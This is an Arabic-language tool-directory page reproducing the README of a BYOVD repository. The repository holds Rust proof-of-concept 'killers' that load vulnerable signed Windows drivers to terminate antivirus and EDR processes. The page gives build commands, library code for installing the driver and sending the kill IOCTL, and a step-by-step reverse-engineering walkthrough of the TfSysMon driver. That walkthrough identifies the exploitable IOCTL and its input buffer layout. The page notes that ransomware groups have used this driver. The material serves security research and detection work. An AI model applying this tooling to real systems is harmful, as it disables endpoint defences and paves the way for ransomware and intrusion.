Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
BYOVD — حالات استخدام بحث BYOVD تتضمن اكتشاف برامج التشغيل الضعيفة ومنهجية الهندسة العكسية. (CVE-2025-52915, CVE-2025-1055, CVE-2026-3609, CVE-2026-8501). | Kitploit
أدوات/GitHubGitHub/blacksnufkin/byovd
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالتهرب من IDS/IPSالهندسة العكسيةالتعلم والتعليمالفريق الأحمر
GitHubblacksnufkin/byovd

BYOVD

حالات استخدام بحث BYOVD تتضمن اكتشاف برامج التشغيل الضعيفة ومنهجية الهندسة العكسية. (CVE-2025-52915, CVE-2025-1055, CVE-2026-3609, CVE-2026-8501).

عرض المستودع
8951326منذ 22 أيامتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
cropped-Aug 28, 2025, 03_39_19 PM

BYOVD هي مجموعة من إثباتات المفهوم (PoCs) توضح كيفية استغلال برامج التشغيل الضعيفة لتعطيل حلول مكافحة الفيروسات (AV) وحلول كشف الاستجابة للنقاط الطرفية (EDR).

تتضمن المجموعة كلاً من برامج التشغيل غير الموثقة وتلك التي لديها تغطية قائمة في LOLDDrivers أو قواعد حظر برامج التشغيل الموصى بها من Microsoft.


منذ اكتشافه الأولي، تمت إضافة برنامج تشغيل TfSysMon إلى LOLDrivers وتم إساءة استخدامه من قبل مجموعات برامج الفدية باستخدام أداة EDRKillShifter، كما ورد في تقارير Sophos و ESET


📚 جدول المحتويات

  • 🔍 نظرة عامة
  • 🏗️ هيكل المشروع
  • 🔧 البناء
  • 📦 byovd-lib
  • 💡 إثباتات المفهوم (POCs)
  • 🔬 عملية الهندسة العكسية الكاملة لبرنامج التشغيل (x64)
  • 🔗 المراجع
  • ⚠️ إخلاء المسؤولية

🔍 نظرة عامة

اكتسبت تقنية BYOVD شعبية مؤخراً في مجال الأمن الهجومي، خاصة مع إصدار أدوات مثل Terminator من SpyBoy (الذي بيع بمبلغ 3,000 دولار) ومشروع ZeroMemoryEx Blackout. تستفيد هذه الأدوات من برامج التشغيل الضعيفة لتعطيل وكلاء مكافحة الفيروسات (AV) وحلول EDR، مما يسهل المزيد من الهجمات من خلال تقليل احتمالية الاكتشاف.

يحتوي هذا المستودع على عدة إثباتات مفهوم (PoCs) تم تطويرها لأغراض تعليمية، لمساعدة الباحثين على فهم كيفية إساءة استخدام برامج التشغيل هذه لإنهاء العمليات.

🏗️ هيكل المشروع

تم تنظيم المشروع كـ مساحة عمل Rust Cargo. تشترك معظم إثباتات المفهوم في مكتبة مشتركة (byovd-lib) تتعامل مع المهام الأساسية: دورة حياة خدمة برنامج التشغيل، توزيع IOCTL، مراقبة العمليات، تعديل الامتيازات، والتنظيف. كل أداة إنهاء هي ملف ثنائي صغير (~50-100 سطر) يحدد فقط إعداداته الخاصة ببرنامج التشغيل. K7Terminator و Astra64-Killer و Ktapi-Killer و Xhunter1-Killer هي أدوات مستقلة — لديها تعريفات [workspace] خاصة بها ويتم بناؤها مباشرة من أدلتها الخاصة، وليس عبر مساحة العمل الجذرية.``` BYOVD/ ├── Cargo.toml # Workspace root (deps + release profile) ├── Cargo.lock ├── README.md ├── LICENSE │ ├── byovd-lib/ # Shared library │ ├── Cargo.toml │ └── src/ │ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() │ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete) │ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes │ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) │ ├── process.rs # find_pid_by_name / find_all_pids_by_name │ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler │ ├── privilege.rs # enable_privilege / ensure_running_as_local_system │ └── util.rs # to_wstring / to_cstring / get_current_dir │ ├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys ├── Astra64-Killer/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, data-only Shadow SSDT hijack EDR killer ├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324) ├── CcProtect-Killer/ # CnCrypt CcProtect ├── EnPortv-Killer/ # EnCase EnPortv ├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155) ├── GoFlyDrv-Killer/ # Golink GoFlyDrv ├── HNOs2Ec-Killer/ # HONOR PCManager HNOs2Ec.sys ├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys ├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes ├── Ksapi64-Killer/ # Kingsoft ksapi64 ├── Ktapi-Killer/ # Kontron ktapi.sys -- standalone, two-stage shellcode EDR killer ├── MonProcess-Killer/ # HONOR HnRSMService MonProcess.sys ├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys ├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction) ├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501) ├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction) ├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618) ├── TfSysMon-Killer/ # ThreatFire sysmon ├── UnknownKiller/ # unattributed unknown.sys ├── Viragt64-Killer/ # Tg Soft viragt64 ├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271) ├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609) └── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm

root@kitploit:~
كل دليل `*-Killer/` يحتوي على `Cargo.toml` خاص به، و`src/main.rs` (تنفيذ `DriverConfig` + واجهة سطر الأوامر)، و`README.md` (تجزئات السائق + الاستخدام)، وملف `.sys` المطابق الذي يقوم الثنائي بتحميله في وقت التشغيل.

## 🔧 البناء

**المتطلبات الأساسية:** سلسلة أدوات Rust وأدوات بناء Visual Studio مع Windows SDK.```bash
# Build all tools (release, optimized + stripped)
cargo build --release

# Build a single tool
cargo build --release -p BdApiUtil-Killer

# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer

الملفات الثنائية تُخرج إلى target/release/. انسخ ملف .sys الخاص بالسائق المقابل إلى نفس الدليل الذي يوجد فيه الملف القابل للتنفيذ قبل التشغيل.

📦 byovd-lib

byovd-lib هي المكتبة المشتركة التي تُبنى عليها جميع أدوات إثبات المفهوم (PoCs) (باستثناء K7Terminator). إنها تعرض واجهتين برمجيتين متكاملتين -- واجهة تعريفية عالية المستوى للتدفق القياسي "تثبيت السائق، القتل عند الرؤية، التنظيف"، وواجهة أمرية منخفضة المستوى للقتلة الذين يحتاجون إلى تدفق مخصص (الارتباط بسائق محمّل بالفعل، التوزيع على عدة معرّفات عمليات (PIDs)، مخازن IOCTL منظمة، منطق إعادة محاولة مخصص، إلخ). يمكن خلط كلتيهما في نفس الملف الثنائي.

تخطيط الوحدة```

byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir

root@kitploit:~
### واجهة برمجية عالية المستوى: خاصية `DriverConfig` + `run()`

هذا ما تستخدمه أدوات الإزالة المرفقة. قم بتنفيذ الخاصية، ثم استدعِ `byovd_lib::run()`، وانتهى الأمر.```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;

struct MyDriver;
impl DriverConfig for MyDriver {
    fn driver_name(&self) -> &str { "MyDriver" }
    fn driver_file(&self) -> &str { "mydriver.sys" }
    fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
    fn ioctl_code(&self) -> u32 { 0xDEAD }
    fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
        pid.to_ne_bytes().to_vec()
    }
}

#[derive(Parser)]
struct Cli {
    #[arg(short = 'n', long = "name", required = true)]
    process_name: String,
}

fn main() -> Result<()> {
    let cli = Cli::parse();
    byovd_lib::run(&MyDriver, &cli.process_name, None)
}

run() يقوم بـ: preflight_check ← تثبيت الخدمة (SERVICE_DEMAND_START) ← StartService ← مراقبة الإيقاف الفوري (Ctrl+C للخروج) ← إيقاف الخدمة وحذفها.

تجاوزات السمات الاختيارية مع قيمها الافتراضية:

واجهة برمجة منخفضة المستوى: مكونات أمرية

عندما لا يناسب تدفق السمات — على سبيل المثال، إذا كان برنامج التشغيل محمّلًا بالفعل وتريد فقط إطلاق IOCTL واحد، أو تحتاج إلى سياسة إعادة محاولة مخصصة، أو كان IOCTL يأخذ مدخلات منظمة بدلاً من مجرد PID، أو تريد التوزيع عبر جميع معرّفات PID المطابقة — قم بتكوين المكونات منخفضة المستوى مباشرةً.

دورة حياة برنامج التشغيل — ByovdDriver:```rust use byovd_lib::ByovdDriver;

let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;

root@kitploit:~
**توزيع IOCTL** -- يوفّر `DeviceHandle` خمسة أشكال مُنمّطة:

| الطريقة | تُستخدم عندما |
|---|---|
| `ioctl<I, O>(code, &input, &mut output)` | وجود مخزنين للإدخال والإخراج، بأنواع منفصلة |
| `ioctl_inout<T>(code, &mut data)` | نفس المخزن للإدخال والإخراج معًا |
| `ioctl_in<I>(code, &input)` | إدخال فقط، دون مخزن إخراج |
| `ioctl_in_unchecked<I>(code, &input)` | إدخال فقط، مع تجاهل الفشل (بديل لكل استدعاء عن `ignore_ioctl_error`) |
| `ioctl_raw(code, in_ptr, in_size, out_ptr, out_size)` | مخرج احتياطي للمؤشرات الخام |

تُزيل الأشكال المُنمّطة الحاجة إلى الكتابة اليدوية المتكررة لـ `to_ne_bytes()` / `extend_from_slice()` عندما يستقبل IOCTL بنية (مثل `{ pid: u32, padding: [u8; 20] }`).

**البحث عن العملية** -- `find_pid_by_name(name)` (أول تطابق) و`find_all_pids_by_name(name)` (جميع التطابقات، مع استبعاد PIDs النظامية ≤ 4).

**حلقة مراقبة مخصصة** -- `run_monitor_loop(name, interval, |pid| ...)` تأخذ إغلاقًا (closure) لتمكينك من فعل ما تشاء عند كل تطابق (عدة استدعاءات IOCTL، تسجيل منظم، توزيع عبر PIDs متعددة، إعادة المحاولة عند الخطأ).

**الصلاحيات** -- `enable_privilege("SeDebugPrivilege")` / `enable_privilege("SeLoadDriverPrivilege")` لبرامج التشغيل التي تتطلب صلاحيات رمزية صريحة. يُرجع `ensure_running_as_local_system()` خطأً إذا لم تكن العملية تعمل بصفة `S-1-5-18`.

**مغلفات المقابض** -- `WinHandle` (إغلاق تلقائي عبر `CloseHandle`) و`ScHandle` (إغلاق تلقائي عبر `CloseServiceHandle`) هما `Send + Sync` ويمكن نقلهما عبر الخيوط.

### مثال: الاتصال ببرنامج تشغيل محمّل مسبقًا، دون دورة حياة خدمة

هذا ما يفعله `UnknownKiller --attach` -- تخطَّ SCM بالكامل، فقط افتح الجهاز وأطلق IOCTL مرة واحدة:```rust
use byovd_lib::{find_pid_by_name, DeviceHandle, Result};

fn main() -> Result<()> {
    let device = DeviceHandle::open("\\\\.\\eb")?;
    let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
    device.ioctl_in(0x222024, &pid)?;   // typed: just pass &u32
    Ok(())
}

أسماء التوافق الخلفي

لا تزال FileHandle / ServiceHandle تشير إلى WinHandle / ScHandle، ويُحتفظ بـ get_pid_by_name كاسم مستعار لـ find_pid_by_name، بحيث يستمر الكود الأقدم الذي يشير إلى تلك الأسماء في الترجمة دون مشاكل.

💡 إثباتات المفهوم (POCs)

فيما يلي برامج التشغيل وإثباتات المفهوم الخاصة بها المتوفرة في هذا المستودع:

  • AppRemover-Killer: يستهدف ardrv.sys من OPSWAT AppRemover.
  • Astra64-Killer: يستهدف astra64.sys من EnTech Taiwan (Astra32 / TVicHW) -- أداة قتل EDR مستقلة تعتمد على اختطاف Shadow SSDT بالبيانات فقط.
  • BdApiUtil-Killer: يستهدف BdApiUtil64.sys من Baidu AntiVirus (CVE-2024-51324).
  • CcProtect-Killer: يستهدف CcProtect.sys من CnCrypt.
  • EnPortv-Killer: يستهدف EnPortv.sys من Guidance EnCase.

🔬 عملية الهندسة العكسية الكاملة لبرنامج التشغيل (x64)

يوضح هذا القسم منهجية الهندسة العكسية الكاملة من الألف إلى الياء باستخدام برنامج تشغيل TfSysMon كمثال عملي. تنطبق هذه العملية على أي تحليل لبرنامج تشغيل نواة Windows بنية x64.

🎯 الخطوة 0: ما قبل التحليل - فحص استيراد الدوال

تحقق من استيرادات برنامج التشغيل قبل بدء الهندسة العكسية.

يتطلب برنامج تشغيل قاتل العمليات الأساسي أمرين:

طريقة للحصول على مقبض لعملية (على سبيل المثال ZwOpenProcess أو NtOpenProcess)

طريقة لإنهاء العملية (على سبيل المثال ZwTerminateProcess أو NtTerminateProcess)

تحقق مما إذا كان برنامج التشغيل يستورد كلا النوعين من الدوال. إذا كان برنامج التشغيل يحتوي في دواله المستوردة على Nt/ZwOpenProcess و Nt/ZwTerminateProcess معًا، فهو مرشح محتمل ليكون قاتل عمليات.

فقط بعد تأكيد هذه الاستيرادات يجب عليك المتابعة إلى الهندسة العكسية التفصيلية في IDA Pro.

🛠️ المتطلبات الأساسية لتحليل برامج تشغيل x64

الأدوات المطلوبة:

  • IDA Pro - لتفكيك برنامج التشغيل للتحليل الثابت
  • OSRLoader - لتحميل/تشغيل برنامج التشغيل (بديل لأمر sc.exe)

📍 الخطوة 1: تحديد موقع وتحليل DriverEntry

يبدأ كل برنامج تشغيل Windows بـ DriverEntry - ابحث عن هذه الدالة أولاً:

في TfSysMon، يبدو DriverEntry كما يلي:```c NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { unsigned __int64 v2; // rax v2 = BugCheckParameter2; if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL ) { v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL; if ( !v2 ) v2 = 0x2B992DDFA232LL; BugCheckParameter2 = v2; } BugCheckParameter3 = ~v2; return sub_17484(DriverObject); }

root@kitploit:~
**ملاحظات التحليل:**
- يقوم الكود ببعض التهيئة باستخدام `BugCheckParameter2` و `BugCheckParameter3`
- التهيئة الفعلية للسائق تحدث في `sub_17484`
- اتبع الاستدعاء إلى `sub_17484(DriverObject)` - هنا يحدث الإعداد الفعلي للسائق

### 📍 الخطوة 2: تتبع سلسلة تهيئة السائق

**انتقل إلى دالة التهيئة (`sub_17484`):**```c
NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
{
  // ... initialization code ...
  
  RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
  result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
  if ( result < 0 )
    return result;
    
  qword_1D5D8 = 0;
  dword_1D5D0 = 1;
  DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
  
  RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
  v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
  // ... rest of function ...
}

نتائج هندسة عكسية رئيسية:

  • اسم الجهاز: \\Device\\TfSysMon (مساحة النواة)
  • الرابط الرمزي: \\DosDevices\\TfSysMon (يمكن الوصول إليه من وضع المستخدم كـ \\.\\TfSysMon)
  • نوع الجهاز: 0x22 = FILE_DEVICE_UNKNOWN
  • معالج IRP: جميع الوظائف الرئيسية تشير إلى sub_17694
  • الوظيفة المستهدفة: MajorFunction[14] = معالج IRP_MJ_DEVICE_CONTROL

📍 الخطوة 3: تحليل دالة إرسال IRP

انتقل إلى دالة الإرسال (sub_17694):```c __int64 __fastcall sub_17694(struct _DEVICE_OBJECT *a1, IRP *a2) { struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx unsigned int v4; // ebx

if ( a1 != DeviceObject ) { v4 = -1073741790; goto LABEL_20; } CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation; v4 = 0; if ( !CurrentStackLocation->MajorFunction ) { // Handle IRP_MJ_CREATE } else if ( CurrentStackLocation->MajorFunction == 2 ) { // Handle IRP_MJ_CLOSE } else if ( CurrentStackLocation->MajorFunction <= 0xDu ) { goto LABEL_7; } else if ( CurrentStackLocation->MajorFunction <= 0xFu ) { v4 = sub_177D8(a2); // THIS IS THE IOCTL HANDLER goto LABEL_20; } // ... rest of function }

root@kitploit:~
**تحليل الهندسة العكسية:**
- يحدث التحقق من الجهاز أولاً (`if ( a1 != DeviceObject )`)
- يحدد `CurrentStackLocation->MajorFunction` نوع العملية
- **حرج**: قيم MajorFunction 14 (0xE) و15 (0xF) تستدعي `sub_177D8`
- MajorFunction 14 = IRP_MJ_DEVICE_CONTROL = معالجة IOCTL
- مسار الكود القابل للاستغلال هو: **طلب IOCTL ← sub_177D8**

### 📍 الخطوة 4: الهندسة العكسية لمعالج IOCTL

**انتقل إلى دالة معالجة IOCTL (`sub_177D8`):**```c
__int64 __fastcall sub_177D8(PIRP Irp, __int64 a2, __int64 a3, __int64 a4)
{
  // ... variable declarations ...
  
  v7 = *(_DWORD *)(a2 + 24);  // Extract IOCTL code
  MasterIrp = Irp->AssociatedIrp.MasterIrp;  // Input buffer
  v9 = *(unsigned int *)(a2 + 16);  // InputBufferLength
  v10 = *(_DWORD *)(a2 + 8);  // OutputBufferLength
  
  if ( v7 > 0xB4A00070 )
  {
    if ( v7 > 0xB4A000F8 )
    {
      if ( v7 != -1264582404 )
      {
        switch ( v7 )
        {
          // ... various cases ...
          case 0xB4A00404:  // VULNERABLE IOCTL CODE
            if ( (unsigned int)v9 >= 0x18 )
              return (unsigned int)sub_1837C((__int64)Irp->AssociatedIrp.MasterIrp);
            break;
          // ... more cases ...
        }
      }
    }
  }
  // ... rest of function
}

اكتشافات هندسة عكسية حرجة:

  • استخراج IOCTL: v7 = *(_DWORD *)(a2 + 24) يحصل على كود IOCTL من IO_STACK_LOCATION
  • مخزن الإدخال: Irp->AssociatedIrp.MasterIrp يحتوي على بيانات المستخدم
  • طول المخزن: v9 = *(unsigned int *)(a2 + 16) يحصل على حجم مخزن الإدخال
  • IOCTL القابل للاستغلال: 0xB4A00404 يؤدي إلى sub_1837C
  • فحص الحجم: يتحقق فقط من أن المخزن ≥ 0x18 (24 بايت) - تحقق ضئيل للغاية!

📍 الخطوة 5: تحليل الدالة القابلة للاستغلال

انتقل إلى دالة إنهاء العملية (sub_1837C):```c __int64 __fastcall sub_1837C(__int64 a1) { unsigned int v2; // ebx void *v3; // rax unsigned int v4; // edi NTSTATUS v6; // eax // ... variable declarations ...

v2 = 0; if ( MmIsAddressValid((PVOID)a1) ) { v3 = *(void **)(a1 + 4); // EXTRACT PID FROM OFFSET +4 v4 = 0; if ( !v3 ) return 3221225485LL; memset(&ObjectAttributes.RootDirectory, 0, 20); ObjectAttributes.SecurityDescriptor = 0; ObjectAttributes.SecurityQualityOfService = 0; ClientId.UniqueThread = 0; ObjectAttributes.Length = 48; ClientId.UniqueProcess = v3; // SET TARGET PID while ( 1 ) { v6 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId); v7 = v6 < 0; v2 = v6; if ( !v6 ) break; v8 = v4++; if ( v8 >= 3 ) { v7 = v6 < 0; break; } } if ( !v7 ) { v9 = 0; do { v2 = ZwTerminateProcess(ProcessHandle, 0); // TERMINATE PROCESS if ( !v2 ) break; v10 = v9++; } while ( v10 < 3 ); ZwClose(ProcessHandle); } } return v2; }

root@kitploit:~
**تحليل الدالة:**
- **بنية الإدخال**: من تحليل كود برنامج التشغيل، حددنا تخطيط المخزن المؤقت حيث يكون PID عند الإزاحة +4
- **تحليل الإدخال**: `v3 = *(void **)(a1 + 4)` يستخرج PID من مخزن الإدخال المؤقت عند الإزاحة +4
- **فتح العملية**: `ZwOpenProcess` مع حقوق وصول دنيا (1u = PROCESS_TERMINATE)
- **لا توجد فحوصات أمنية**: لا يوجد تحقق من صلاحيات المتصل أو حماية العملية المستهدفة
- **إنهاء العملية**: استدعاء مباشر لـ `ZwTerminateProcess`
- **منطق إعادة المحاولة**: محاولات متعددة لكل من الفتح والإنهاء
- **أي عملية**: يمكن إنهاء أي عملية يمكن لحساب SYSTEM الوصول إليها

### 📍 الخطوة 6: رسم خريطة سلسلة الهجوم الكاملة

**تدفق الهندسة العكسية الكامل:**
1. **نقطة الدخول**: يستدعي المستخدم `DeviceIoControl` على `\\.\\TfSysMon`
2. **إنشاء IRP**: يقوم مدير الإدخال/الإخراج بإنشاء IRP مع MajorFunction = 14
3. **التوزيع**: `sub_17694` يوجّه إلى `sub_177D8` لمعالجة IOCTL
4. **فحص IOCTL**: `sub_177D8` يتحقق من كود IOCTL `0xB4A00404` وحجم المخزن المؤقت ≥ 24 بايت
5. **التنفيذ**: يستدعي `sub_1837C` مع مخزن إدخال المستخدم المؤقت
6. **الإنهاء**: `sub_1837C` يستخرج PID من الإزاحة +4 وينهي العملية عبر `ZwTerminateProcess`

**بنية مخزن الإدخال المؤقت (من الهندسة العكسية لبرنامج التشغيل):**```
Offset 0x00-0x03: [padding] - 4 bytes
Offset 0x04-0x07: [Target Process ID] - 4 bytes (DWORD)  
Offset 0x08-0x17: [extra_padding] - 16 bytes
Total Size: 24 bytes (0x18) - matches driver's minimum size check

توضح هذه المنهجية كيفية هندسة أي برنامج تشغيل نواة Windows x64 عكسيًا بشكل منهجي لتحديد ثغرات مشابهة من خلال تتبع مسار التنفيذ من الاتصال بوضع المستخدم وصولًا إلى العمليات الخطيرة على مستوى النواة.

الدعم 🍺

إذا ساعدك BYOVD في عمليات الفريق الأحمر، ففكر في شراء بيرة لي:

🔗 المراجع

  • مدونة Alice Climent-Pommeret: العثور على برامج تشغيل قاتلة العمليات واستغلالها مع LOL مقابل 3000 دولار
  • LOLDrivers: مستودع مركزي لبرامج التشغيل المعروفة بأنها قابلة للاستغلال
  • قواعد حظر برامج التشغيل من Microsoft: قواعد حظر برامج التشغيل الموصى بها من Microsoft
  • برمجة نواة Windows بقلم Pavel Yosifovich
  • Windows Internals, Part 1 & 2 بقلم Mark E. Russinovich, Alex Ionescu, David Solomon

⚠️ إخلاء المسؤولية

مشروع BYOVD هو لأغراض تعليمية وبحثية فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذه البرامج. اطلب دائمًا إذنًا صريحًا قبل استخدام هذه الأدوات على أي نظام.

تنزيل الأداة
الطريقةالافتراضيالغرض
device_access()SERVICE_ALL_ACCESSأعلام الوصول لـ CreateFileW
skip_unload()falseتخطي تنظيف برنامج التشغيل (مثل برامج التشغيل التي تسبب BSOD عند الإلغاء)
ignore_ioctl_error()falseمعاملة فشل IOCTL كنجاح (مثل NSecKrnl الذي يبلغ عن خطأ عند النجاح)
ioctl_output_size()0الحجم المتوقع لمخزن الإخراج بالبايت
preflight_check()Ok(())التحقق قبل الإطلاق (مثل فحص LocalSystem)
  • GameDriverX64-Killer: يستهدف GameDriverX64.sys من Fedeen Games (CVE-2025-61155).
  • GoFlyDrv-Killer: يستهدف GoFlyDrv.sys من Golink.
  • HNOs2Ec-Killer: يستهدف HNOs2Ec.sys من HONOR (PCManager).
  • HWAudioOs2Ec-Killer: يستهدف HWAudioOs2Ec.sys من Huawei.
  • K7Terminator: يستهدف K7RKScan.sys من K7 Computing (CVE-2025-52915, CVE-2025-1055) -- شرح كامل.
  • Ksapi64-Killer: يستهدف ksapi64.sys / ksapi64_del.sys من Kingsoft Corporation.
  • Ktapi-Killer: يستهدف ktapi.sys من Kontron -- أداة قتل EDR مستقلة تعتمد على شيل كود من مرحلتين.
  • MonProcess-Killer: يستهدف MonProcess.sys من HONOR (HnRSMService).
  • MonProcessEX-Killer: يستهدف MonProcessEX.sys من HONOR.
  • NSec-Killer: يستهدف NSecKrnl.sys من NSEC (إعادة إنتاج ValleyRAT BYOVD).
  • PCTcore64-Killer: يستهدف PCTcore64.sys من PC Tools (CVE-2026-8501).
  • PoisonX-Killer: يستهدف PoisonX.sys من Microsoft (إعادة إنتاج @j3h4ck)
  • STProcessMonitor-Killer: يستهدف STProcessMonitor.sys من Safetica (CVE-2025-70795، يدعم الإصدارين v11.11.4 و v11.26.18).
  • TfSysMon-Killer: يستهدف sysmon.sys من ThreatFire System Monitor.
  • UnknownKiller: يستهدف unknown.sys من بائع غير معروف (أصل برنامج التشغيل غير محدد بعد).
  • Viragt64-Killer: يستهدف viragt64.sys من Tg Soft.
  • Wsftprm-Killer: يستهدف wsftprm.sys من Topaz Antifraud (CVE-2023-52271).
  • Xhunter1-Killer: يستهدف xhunter1.sys القديم من Wellbia (XIGNCODE3، CVE-2026-3609).
  • Xkpsm-Killer: يستهدف xkpsm.sys من JiranJikyosoft X-Keeper.